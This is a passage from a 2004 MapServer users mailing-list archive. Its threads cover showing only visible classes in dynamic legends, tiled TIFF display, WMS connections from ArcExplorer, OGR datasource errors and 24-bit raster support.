> 
> >I believe HTML legends will do the trick. In the 
> legend_template.html 
> >file you could specify [leg_class_html opt_flag=12] for example. see 
> >the HTML legend How-To for more details about the opt_flag bit mask.
> >
> >http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
> >
> >MD
> >
> >  
> >
> >>-----Original Message-----
> >>From: mapserver-users-admin at lists.gis.umn.edu 
[mailto:mapserver-users- 
>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>>Sent: Wednesday, January 28, 2004 8:12 PM
>>To: mapserver-users at lists.gis.umn.edu
>>Subject: [Mapserver-users] Q: Dynamic Legends
>>
>>
>>Hi,
>>Is there a way to have the legend dynamically show only the classes of
>>    
>>
>a
>  
>
>>layer actually
>>shown in a map (not the whole defined set in the mapfile)?
>>
>>Jean
>>
>>_______________________________________________
>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>    
>>
>
>
>  
>

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From racarr at fs.fed.us  Thu Jan 29 12:41:02 2004
From: racarr at fs.fed.us (Robert A Carr)
Date: Thu, 29 Jan 2004 14:41:02 -0600
Subject: [Mapserver-users] Tiled TIFFs - Error 4 - Problem Resolved
Message-ID: 




In December, 2000 I sent to the list a message describing problems I
experienced while implementing scale-dependent raster layers using image
tiles.  A few weeks ago, with a minor change in technique, and no change in
versions or executables, I was able to successfully create image catalogs
for each zoom level,  and had no problem displaying them in MapServer.
Unlikely as it seems,  the fix that worked for me was to change a line in
the arc/info grid procedure which directed the output of the 'gridimage'
command to the system directory I was using for the MapServer data sources.
Previously, the output was going to a GIS workspace,  and the images were
then moved to the MapServer directories using the Windows Explorer 'Move to
Folder' menu choice.  In both cases, 'gdaltindex' and 'shptree' were ran
against the tiffs after they had been moved to the final directory.

I'm not sure what  (if anything) the 'Move to Folder' operation might have
introduced  to the inner file names used by Windows, but abandoning its use
seems to have solved my problem.   I've created enough tiled layers with
the new procedure to believe the fix is real.

Dell Latitude 640
Windows 2000 Professional
MapServer version 4.0.1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
OUTPUT=PDF OUTPUT=SWF SUPPORTS =PROJ SUPPORTS=FREETYPE
SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLI ENT
INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

---
Bob Carr
USDA Forest Service - Eastern Region
racarr at fs.fed.us           (414) 297-1057



From bjh at globexplorer.com  Thu Jan 29 12:51:08 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Thu, 29 Jan 2004 12:51:08 -0800
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: <4ACBA1414DD9EE418CC250E4AAA9035A192CD1@STL-EXBE-I03.corp.erac.com>
References: <4ACBA1414DD9EE418CC250E4AAA9035A192CD1@STL-EXBE-I03.corp.erac.com>
Message-ID: <4019723C.7020700@globexplorer.com>

No. I have, for example, one of the layers with a number of classes 
(say, streets, with
each type of street having its own class). In a certain area, at a 
certain scale, one could
get, for example, only highways. What I want is to have the legend 
showing only the
symbols/definitions for what is actually in the map at a certain moment.

Jean


Martin, Daniel A wrote:

>Do you mean layers that are on, and within range, but are not visible
>because of your current location?  I don't believe that is possible.
>However, the default is to hide layers that are not visible or have a
>status of OFF.  However, if you have layers that have a status of
>DEFAULT, then those are going to show no matter what.
>
>Am I misunderstanding you?
>
>-Dan
>
>  
>
>>-----Original Message-----
>>From: mapserver-users-admin at lists.gis.umn.edu 
>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
>>Jean-Henry Berevoescu
>>Sent: Thursday, January 29, 2004 1:16 PM
>>To: mdoggett at coas.oregonstate.edu
>>Cc: mapserver-users at lists.gis.umn.edu
>>Subject: Re: [Mapserver-users] Q: Dynamic Legends
>>
>>
>>
>>I tried that one and all the possible combinations (and their 
>>sum). Nothing works.
>>
>>Thanks,
>>Jean
>>
>>
>>Matt Doggett wrote:
>>
>>    
>>
>>>I believe HTML legends will do the trick. In the 
>>>      
>>>
>>legend_template.html 
>>    
>>
>>>file you could specify [leg_class_html opt_flag=12] for example. see 
>>>the HTML legend How-To for more details about the opt_flag bit mask.
>>>
>>>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
>>>
>>>MD
>>>
>>> 
>>>
>>>      
>>>
>>>>-----Original Message-----
>>>>From: mapserver-users-admin at lists.gis.umn.edu 
>>>>        
>>>>
>[mailto:mapserver-users- 
>  
>
>>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>>>Sent: Wednesday, January 28, 2004 8:12 PM
>>>To: mapserver-users at lists.gis.umn.edu
>>>Subject: [Mapserver-users] Q: Dynamic Legends
>>>
>>>
>>>Hi,
>>>Is there a way to have the legend dynamically show only the classes of
>>>   
>>>
>>>      
>>>
>>a
>> 
>>
>>    
>>
>>>layer actually
>>>shown in a map (not the whole defined set in the mapfile)?
>>>
>>>Jean
>>>
>>>_______________________________________________
>>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>   
>>>
>>>      
>>>
>> 
>>
>>    
>>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>



From lyl209 at nyu.edu  Thu Jan 29 12:52:34 2004
From: lyl209 at nyu.edu (Ling-Yen Liao)
Date: Thu, 29 Jan 2004 15:52:34 -0500
Subject: [Mapserver-users] Question about Arc Explorer 4 as a client for WMS
 Mapserver(WIKI page)
Message-ID: <1abf12f1abadcb.1abadcb1abf12f@homemail.nyu.edu>

Hi all,

I installed Mapserver and the two WMS requests work on our machine. 
1 GetCapabilities 
http://stats15.ndlab.its.nyu.edu/cgi-bin/mapserv?map=/var/www/html/mapserver/map-script/wms.map&REQUEST=GetCapabilities
2 GetMap
http://stats15.ndlab.its.nyu.edu/cgi-bin/mapserv?map=/var/www/html/mapserver/map-script/wms.map&VERSION=1.1.0&REQUEST=GetMap

Then I followed the WIKI page's steps and made a php file.
But when I go to Arc Explorer's "Interoperability->connect to WMS"
and insert
http://stats15.ndlab.its.nyu.edu/mapserver/map-script/wms.php
as the URL and left the server name blank
it returned "Invalid Capability File. Check ServerURL"

Anyone has the same problem before?
Any help?


Thanks in advance.

-Lingyen



From jvanulde at nrcan.gc.ca  Thu Jan 29 12:52:28 2004
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Thu, 29 Jan 2004 15:52:28 -0500
Subject: [Mapserver-users] OGR unable to access datasource
Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B895A5@s5-van1-r1.ess.nrcan.gc.ca>

Hi Tyler,

Here is the output from ogrinfo.  Looks like its working, however I still
unable to get mapserver to connect.  I have tried putting the
 directly in the mapfile CONNECTION and still get the same
error: 

msDrawMap(): Image handling error. Failed to draw layer named 'OGRPoints'. 
msOGRFileOpen(): OGR error. Open failed for OGR connection `
ODBC:foo/foo at mydsn,Desc_story Desc_story wkbPoint WGS84 '. File not found or
unsupported format. 

Looking forward to your response.


C:\OpenEV_FW\bin>ogrinfo C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf
ERROR 4: Update access not supported for VRT datasources.
Had to open data source read-only.
INFO: Open of `C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf'
using driver `VRT' successful.
1: story (Point)


C:\OpenEV_FW\bin>ogrinfo C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf
story ERROR 4: Update access not supported for VRT datasources. Had to open
data source read-only.
INFO: Open of `C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf'
using driver `VRT' successful.
.
.
.
OGRFeature(story):87
  desc_id (String) = 400E2174-65BF-3224-7CEF493349368AE7
  group_id (String) = 0
  comm_id (String) = DE9E2A07-B0D0-EA24-1BD6282422D24117
  user_id (String) = 4A335096-7ADD-419B-9E16-1995F233D3F8
  elev (Real) =                  0
  units (String) =
  rtype (String) =
  mu (String) =
  ldesc (String) =
  min (String) =
  lmu (String) =
  struct (String) =
  txt (String) =
  snum (String) =
  purp (String) =
  sfeat (String) =
  azi (Real) =                  0
  dip (Real) =                  0
  stdesc (String) =
  name (String) =
  sdesc (String) =
  story_x (Real) = -1993136.4272429
  story_y (Real) = 471899.80462409
  share (Integer) = 0
  release (Integer) = 1
  date (String) = 2004-01-22 16:08:11.000
  POINT (-1993136.427 471899.805 0.000)

============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau:  604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================


> -----Original Message-----
> From: Tyler Mitchell [mailto:TMitchell at lignum.com] 
> Sent: Thursday, January 29, 2004 9:46 AM
> To: Van Ulden, Joost
> Subject: Re: [Mapserver-users] OGR unable to access datasource
> 
> 
> 
> 
> 
> 
> 
> >   LAYER
> >     NAME OGRPoints
> >     TYPE POINT
> >     CONNECTIONTYPE OGR
> >     CONNECTION "c:\inetpub\wwwroot\MS_DEMO\ogr.ovf"
> >     DATA "Desc_story"
> >     STATUS default
> >     CLASS
> >       COLOR 255 0 0
> >     END
> 
> I just asked for your layer definition, I see it here in your 
> old email, so nevermind. Are you sure about the text case for 
> the "DATA" parameter?  Send me your output from ogrinfo!
> 


From bjh at globexplorer.com  Thu Jan 29 12:53:10 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Thu, 29 Jan 2004 12:53:10 -0800
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: <1075408113.1515.31.camel@ubet.gomoos.org>
References:   <40195C8B.4090303@globexplorer.com> <1075408113.1515.31.camel@ubet.gomoos.org>
Message-ID: <401972B6.7090801@globexplorer.com>

I am actually trying now to fiddle with the scripts in order to achieve
this. And what you propose here is interesing. I'll try it too.
(I was actually considering to write my own legend rendering routines
where I will try to check if a certain class appears in the map and
only in that case that class will appear in the legend).

Thanks,
Jean


Eric Bridger wrote:

>One option, which I've used quite a bit in Perl mapscript 3.6, but which
>could be done using cgi is to set the CLASS NAME to the null string.
>This prevents the class from being displayed in the legend.
>Not sure of the syntax but something like:
>/cgi-bin/mapserv?layer_0_class_0_name=&
>might work.  
>
>On Thu, 2004-01-29 at 14:18, Jean-Henry Berevoescu wrote:
>  
>
>>Hi,
>>I was afraid to get this kind of answer, but it seems that you are right
>>(still hoping I miss something here and a quick way to fix this will
>>somehow surface unexpectedly :-)
>>
>>If I'll find something I will share with the list, of course :-)
>>
>>Thanks,
>>Jean
>>
>>
>>
>>Liz Godwin wrote:
>>
>>    
>>
>>>I don't think actually that this is possible, at least not in the
>>>current release.  
>>>
>>>The legend will show all classes that are capable of being drawn,
>>>regardless of wether they are actually visible or not.  That is to say,
>>>the opt_flags WILL allow you to specify to include layers/classes that
>>>are within the scale (set min and max values) and if the layer is being
>>>drawn (status IN/OFF/DEFAULT).
>>>
>>>I have seen postings in the past referring to this, and ways around it,
>>>but they all involve some mapscript of some sort.
>>>
>>>If you do find an easy/rather quick way, be sure to share it with the
>>>list.  I am sure there are many that would interested in finding a
>>>solution, I know I am.
>>>
>>>Liz Godwin
>>>
>>> 
>>>
>>>      
>>>
>>>>>>"Matt Doggett"  01/29/04 11:29AM
>>>>>>
>>>>>>       
>>>>>>
>>>>>>            
>>>>>>
>>>I believe HTML legends will do the trick. In the legend_template.html
>>>file you could specify [leg_class_html opt_flag=12] for example. see
>>>the
>>>HTML legend How-To for more details about the opt_flag bit mask.
>>>
>>>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html 
>>>
>>>MD
>>>
>>> 
>>>
>>>      
>>>
>>>>-----Original Message-----
>>>>From: mapserver-users-admin at lists.gis.umn.edu
>>>>   
>>>>
>>>>        
>>>>
>>>[mailto:mapserver-users-
>>> 
>>>
>>>      
>>>
>>>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>>>>Sent: Wednesday, January 28, 2004 8:12 PM
>>>>To: mapserver-users at lists.gis.umn.edu 
>>>>Subject: [Mapserver-users] Q: Dynamic Legends
>>>>
>>>>
>>>>Hi,
>>>>Is there a way to have the legend dynamically show only the classes
>>>>   
>>>>
>>>>        
>>>>
>>>of
>>>a
>>> 
>>>
>>>      
>>>
>>>>layer actually
>>>>shown in a map (not the whole defined set in the mapfile)?
>>>>
>>>>Jean
>>>>
>>>>_______________________________________________
>>>>Mapserver-users mailing list
>>>>Mapserver-users at lists.gis.umn.edu 
>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
>>>>   
>>>>
>>>>        
>>>>
>>>_______________________________________________
>>>Mapserver-users mailing list
>>>Mapserver-users at lists.gis.umn.edu 
>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>> 
>>>
>>>      
>>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>    
>>
>
>
>
>  
>



From jvanulde at nrcan.gc.ca  Thu Jan 29 12:50:52 2004
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Thu, 29 Jan 2004 15:50:52 -0500
Subject: [Mapserver-users] Q: Dynamic Legends
Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B895A4@s5-van1-r1.ess.nrcan.gc.ca>

The dynamic HTML legend will allow you to hide the classnames but still show
the layer title for inactive layers.  Not sure if this is exactly what you
need but it may be a start.  Here is a sample:

[leg_layer_html order_metadata=WMS_ORDER visibility_flag=15 opt_flag=15]
 
[if name=layer_status oper=neq value=2][/if][metadata
name=WMS_TITLE] 


[/leg_layer_html]
[leg_class_html visibility_flag=15]
[/leg_class_html]

Hope this helps!

============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau:  604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================


> -----Original Message-----
> From: Jean-Henry Berevoescu [mailto:bjh at globexplorer.com] 
> Sent: Thursday, January 29, 2004 11:16 AM
> To: mdoggett at coas.oregonstate.edu
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Q: Dynamic Legends
> 
> 
> 
> I tried that one and all the possible combinations (and their 
> sum). Nothing works.
> 
> Thanks,
> Jean
> 
> 
> Matt Doggett wrote:
> 
> >I believe HTML legends will do the trick. In the 
> legend_template.html 
> >file you could specify [leg_class_html opt_flag=12] for example. see 
> >the HTML legend How-To for more details about the opt_flag bit mask.
> >
> >http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
> >
> >MD
> >
> >  
> >
> >>-----Original Message-----
> >>From: mapserver-users-admin at lists.gis.umn.edu 
[mailto:mapserver-users- 
>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>>Sent: Wednesday, January 28, 2004 8:12 PM
>>To: mapserver-users at lists.gis.umn.edu
>>Subject: [Mapserver-users] Q: Dynamic Legends
>>
>>
>>Hi,
>>Is there a way to have the legend dynamically show only the classes of
>>    
>>
>a
>  
>
>>layer actually
>>shown in a map (not the whole defined set in the mapfile)?
>>
>>Jean
>>
>>_______________________________________________
>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>    
>>
>
>
>  
>

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From angusd at midwestsurveys.com  Thu Jan 29 13:03:41 2004
From: angusd at midwestsurveys.com (Angus J. Dickey)
Date: Thu, 29 Jan 2004 14:03:41 -0700
Subject: [Mapserver-users] 24bit Raster Image
Message-ID: <73D9DCA742FF744EA8A99536AD6ABD11099D43@msicalex2.net.midwestsurveys.com>

Richie,

I had this same error and I believe it was because I had compiled
mapserver with both internal tiff and GDAL (with tiff option enabled)
support. 

To fix it I recompiled mapserver without internal tiff support
(--without-tiff) but with GDAL, the result is this:

#./mapserv -v
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=WBMP SUPPORTS=PROJ
SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=SDE INPUT=OGR
INPUT=GDAL INPUT=SHAPEFILE

This fixed the error for me.

~Angus



-----Original Message-----
From: Richie Pierce [mailto:Richard.Pierce at mail.state.ar.us] 
Sent: Thursday, January 29, 2004 12:22 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] 24bit Raster Image


I am trying to add a 24bit raster image to my map without any success.
I get an error like this:

msDrawRaster(): Image handling error. Unrecognized or unsupported image
format 
drawEPP(): Image handling error.
c:\inetpub\wwwroot\test_site\data\index\tifs\beedeville_ne.tif is not an
EPPL file.

I browsed the archives and saw some mention of a bug and having to
re-sample it down to an 8bit image.  I was wondering if there has been
fixes found for this error.  I would prefer not to create 8bit images
for a state wide ortho set (server space being limited).   Any help
would be great.  Thanks

Richie Pierce
GIS Cadastral Specialist
Arkansas Geographic Information Office
124 W. Capitol St.
Little Rock, AR 72201
(w) 501-682-2937
(c) 501-416-CAMP
www.gis.state.ar.us



From Richard.Pierce at mail.state.ar.us  Thu Jan 29 13:06:47 2004
From: Richard.Pierce at mail.state.ar.us (Richie Pierce)
Date: Thu, 29 Jan 2004 15:06:47 -0600
Subject: [Mapserver-users] 24bit Raster Image
Message-ID: 

I am using the MS binary.  In the description in says the output
supports GDAL.   My mapserv -v:

Mapserver version 4.0 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
OUTPUT=PDF OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE
SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=MFS_SERVER
SUPPORTS=WFS_CLIENT INPUTePPL7 INPUT=POSTGIS INPUT=OGR INPUT=GDAL
INPUT=SHAPEFILE

Richie Pierce
GIS Cadastral Specialist
Arkansas Geographic Information Office
124 W. Capitol St.
Little Rock, AR 72201
(w) 501-682-2937
(c) 501-416-CAMP
www.gis.state.ar.us

-----Original Message-----
From: Frank Warmerdam [mailto:warmerdam at pobox.com] 
Sent: Thursday, January 29, 2004 2:26 PM
To: Richie Pierce
Cc: mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] 24bit Raster Image

Richie Pierce wrote:
> I am trying to add a 24bit raster image to my map without any success.

> I get an error like this:
> 
>  
> 
> msDrawRaster(): Image handling error. Unrecognized or unsupported
image 
> format
> drawEPP(): Image handling error. 
> c:\inetpub\wwwroot\test_site\data\index\tifs\beedeville_ne.tif is not
an 
> EPPL file.
> 
>  
> 
> I browsed the archives and saw some mention of a bug and having to 
> re-sample it down to an 8bit image.  I was wondering if there has been

> fixes found for this error.  I would prefer not to create 8bit images 
> for a state wide ortho set (server space being limited).   Any help 
> would be great.  Thanks

Richie,

The most likely reason you would get this error is if your mapserver
is built without TIFF or GDAL support.  Can you report your "mapserv -v"
output? Does the file work fine with other imaging apps?

Best regards,
-- 
---------------------------------------+--------------------------------
------
I set the clouds in motion - turn up   | Frank Warmerdam,
warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent





From Daniel.A.Martin at erac.com  Thu Jan 29 13:02:57 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Thu, 29 Jan 2004 15:02:57 -0600
Subject: [Mapserver-users] Q: Dynamic Legends
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192CD3@STL-EXBE-I03.corp.erac.com>

I do exactly the same thing.  The way I do it, I have two layers
pointing at the same data.  One has only the highway class, and the
other has all street types.  But, here's the trick.  Name both layers
the SAME exact name.  Now, have the range set where the minscale of the
highway layer is the maxscale of the detailed street layer.

As the user zooms in and out, MapServer will naturally transition from
highways to detailed streets.  However, the legend will show exactly
what you are asking for.  And, by naming both layers the same name, the
status (on/off) will carry over as the user zooms.  If the highway layer
was on, the street layer will also be on when the user zooms in.

I know it may sound strange, but I promise it works beautifully.

-Dan

> -----Original Message-----
> From: Jean-Henry Berevoescu [mailto:bjh at globexplorer.com] 
> Sent: Thursday, January 29, 2004 2:51 PM
> To: Martin, Daniel A
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] Q: Dynamic Legends
> 
> 
> 
> No. I have, for example, one of the layers with a number of classes 
> (say, streets, with
> each type of street having its own class). In a certain area, at a 
> certain scale, one could
> get, for example, only highways. What I want is to have the legend 
> showing only the
> symbols/definitions for what is actually in the map at a 
> certain moment.
> 
> Jean
> 
> 
> Martin, Daniel A wrote:
> 
> >Do you mean layers that are on, and within range, but are 
> not visible 
> >because of your current location?  I don't believe that is possible. 
> >However, the default is to hide layers that are not visible 
> or have a 
> >status of OFF.  However, if you have layers that have a status of 
> >DEFAULT, then those are going to show no matter what.
> >
> >Am I misunderstanding you?
> >
> >-Dan
> >
> >  
> >
> >>-----Original Message-----
> >>From: mapserver-users-admin at lists.gis.umn.edu
> >>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> >>Jean-Henry Berevoescu
> >>Sent: Thursday, January 29, 2004 1:16 PM
> >>To: mdoggett at coas.oregonstate.edu
> >>Cc: mapserver-users at lists.gis.umn.edu
> >>Subject: Re: [Mapserver-users] Q: Dynamic Legends
> >>
> >>
> >>
> >>I tried that one and all the possible combinations (and their
> >>sum). Nothing works.
> >>
> >>Thanks,
> >>Jean
> >>
> >>
> >>Matt Doggett wrote:
> >>
> >>    
> >>
> >>>I believe HTML legends will do the trick. In the
> >>>      
> >>>
> >>legend_template.html
> >>    
> >>
> >>>file you could specify [leg_class_html opt_flag=12] for 
> example. see
> >>>the HTML legend How-To for more details about the opt_flag 
> bit mask.
> >>>
> >>>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
> >>>
> >>>MD
> >>>
> >>> 
> >>>
> >>>      
> >>>
> >>>>-----Original Message-----
> >>>>From: mapserver-users-admin at lists.gis.umn.edu
> >>>>        
> >>>>
> >[mailto:mapserver-users-
> >  
> >
> >>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
> >>>Sent: Wednesday, January 28, 2004 8:12 PM
> >>>To: mapserver-users at lists.gis.umn.edu
> >>>Subject: [Mapserver-users] Q: Dynamic Legends
> >>>
> >>>
> >>>Hi,
> >>>Is there a way to have the legend dynamically show only 
> the classes 
> >>>of
> >>>   
> >>>
> >>>      
> >>>
> >>a
> >> 
> >>
> >>    
> >>
> >>>layer actually
> >>>shown in a map (not the whole defined set in the mapfile)?
> >>>
> >>>Jean
> >>>
> >>>_______________________________________________
> >>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu 
> >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >>>   
> >>>
> >>>      
> >>>
> >> 
> >>
> >>    
> >>
> >
> >_______________________________________________
> >Mapserver-users mailing list
> >Mapserver-users at lists.gis.umn.edu
> >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> >  
> >
> 
> 



From bjh at globexplorer.com  Thu Jan 29 13:26:15 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Thu, 29 Jan 2004 13:26:15 -0800
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168101B895A4@s5-van1-r1.ess.nrcan.gc.ca>
References: <8AE17DD6AA4FD51191CD0002A551168101B895A4@s5-van1-r1.ess.nrcan.gc.ca>
Message-ID: <40197A77.1000502@globexplorer.com>

What I need is a bit more specific: to hide (in the legend) the symbols 
of the classes
that are not happening to be in the actual map --> i.e. to only show the 
ones that are
there.

Best regards,
Jean


Van Ulden, Joost wrote:

>The dynamic HTML legend will allow you to hide the classnames but still show
>the layer title for inactive layers.  Not sure if this is exactly what you
>need but it may be a start.  Here is a sample:
>
>[leg_layer_html order_metadata=WMS_ORDER visibility_flag=15 opt_flag=15]
> 
>[if name=layer_status oper=neq value=2]value="[leg_layer_name]"
>onClick="mapForm.INPUT_COORD.value='';mapForm.zoomdir.value='0';mapForm.mode
>.value='browse';mapForm.target='_self';mapForm.submit()" [if
>name=layer_status oper=eq value=1]CHECKED[/if]>[/if][metadata
>name=WMS_TITLE] 
>
>
>[/leg_layer_html]
>[leg_class_html visibility_flag=15]
>[/leg_class_html]
>
>Hope this helps!
>
>============================================
>Joost van Ulden
>Programmer/Analyst
>Natural Resources Canada / Ressources naturelles Canada
>Geological Survey of Canada / Commission geologique du Canada
>101 - 605 Robson Street / 101 - 605 rue Robson
>Vancouver, B.C. / Vancouver (C.-B.)
>V6B 5J3
>Office/Bureau:  604.666.7525
>fax/telecopieur: 604.666.1124
>jvanulde at nrcan.gc.ca
>============================================
>
>
>  
>
>>-----Original Message-----
>>From: Jean-Henry Berevoescu [mailto:bjh at globexplorer.com] 
>>Sent: Thursday, January 29, 2004 11:16 AM
>>To: mdoggett at coas.oregonstate.edu
>>Cc: mapserver-users at lists.gis.umn.edu
>>Subject: Re: [Mapserver-users] Q: Dynamic Legends
>>
>>
>>
>>I tried that one and all the possible combinations (and their 
>>sum). Nothing works.
>>
>>Thanks,
>>Jean
>>
>>
>>Matt Doggett wrote:
>>
>>    
>>
>>>I believe HTML legends will do the trick. In the 
>>>      
>>>
>>legend_template.html 
>>    
>>
>>>file you could specify [leg_class_html opt_flag=12] for example. see 
>>>the HTML legend How-To for more details about the opt_flag bit mask.
>>>
>>>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
>>>
>>>MD
>>>
>>> 
>>>
>>>      
>>>
>>>>-----Original Message-----
>>>>From: mapserver-users-admin at lists.gis.umn.edu 
>>>>        
>>>>
>[mailto:mapserver-users- 
>  
>
>>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>>>Sent: Wednesday, January 28, 2004 8:12 PM
>>>To: mapserver-users at lists.gis.umn.edu
>>>Subject: [Mapserver-users] Q: Dynamic Legends
>>>
>>>
>>>Hi,
>>>Is there a way to have the legend dynamically show only the classes of
>>>   
>>>
>>>      
>>>
>>a
>> 
>>
>>    
>>
>>>layer actually
>>>shown in a map (not the whole defined set in the mapfile)?
>>>
>>>Jean
>>>
>>>_______________________________________________
>>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>   
>>>
>>>      
>>>
>> 
>>
>>    
>>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>



From dgadoury at dmsolutions.ca  Thu Jan 29 13:31:06 2004
From: dgadoury at dmsolutions.ca (Dean Gadoury)
Date: Thu, 29 Jan 2004 16:31:06 -0500
Subject: [Mapserver-users] Question about Arc Explorer 4 as a client for
 WMS Mapserver(WIKI page)
In-Reply-To: <1abf12f1abadcb.1abadcb1abf12f@homemail.nyu.edu>
References: <1abf12f1abadcb.1abadcb1abf12f@homemail.nyu.edu>
Message-ID: <40197B9A.5000505@dmsolutions.ca>

I'm not sure if this will help, but I saw an error message in the 
getcapabilities document:

Are you missing 'wms_title' in your layer metadata? If so, try adding 
that and see if it helps.

Ling-Yen Liao wrote:

>Hi all,
>
>I installed Mapserver and the two WMS requests work on our machine. 
>1 GetCapabilities 
>http://stats15.ndlab.its.nyu.edu/cgi-bin/mapserv?map=/var/www/html/mapserver/map-script/wms.map&REQUEST=GetCapabilities
>2 GetMap
>http://stats15.ndlab.its.nyu.edu/cgi-bin/mapserv?map=/var/www/html/mapserver/map-script/wms.map&VERSION=1.1.0&REQUEST=GetMap
>
>Then I followed the WIKI page's steps and made a php file.
>But when I go to Arc Explorer's "Interoperability->connect to WMS"
>and insert
>http://stats15.ndlab.its.nyu.edu/mapserver/map-script/wms.php
>as the URL and left the server name blank
>it returned "Invalid Capability File. Check ServerURL"
>
>Anyone has the same problem before?
>Any help?
>
>
>Thanks in advance.
>
>-Lingyen
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>  
>

-- 
___________________________

Dean Gadoury

DM Solutions Group
30 Rosemount Ave. Suite 200
Ottawa, Ontario. K1Y 1P4
613.565.5056 ext. 24

dgadoury at dmsolutions.ca
www.dmsolutions.ca




From bjh at globexplorer.com  Thu Jan 29 13:33:50 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Thu, 29 Jan 2004 13:33:50 -0800
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: <4ACBA1414DD9EE418CC250E4AAA9035A192CD3@STL-EXBE-I03.corp.erac.com>
References: <4ACBA1414DD9EE418CC250E4AAA9035A192CD3@STL-EXBE-I03.corp.erac.com>
Message-ID: <40197C3E.7070809@globexplorer.com>

Yes and no. Actually in your scenario I still will have some unsolved 
issues.
For example: let's say that at a certain scale, all the layers are to be 
shown
so I can have Drives, Places, Streets, Roads, Highways and so on - but on
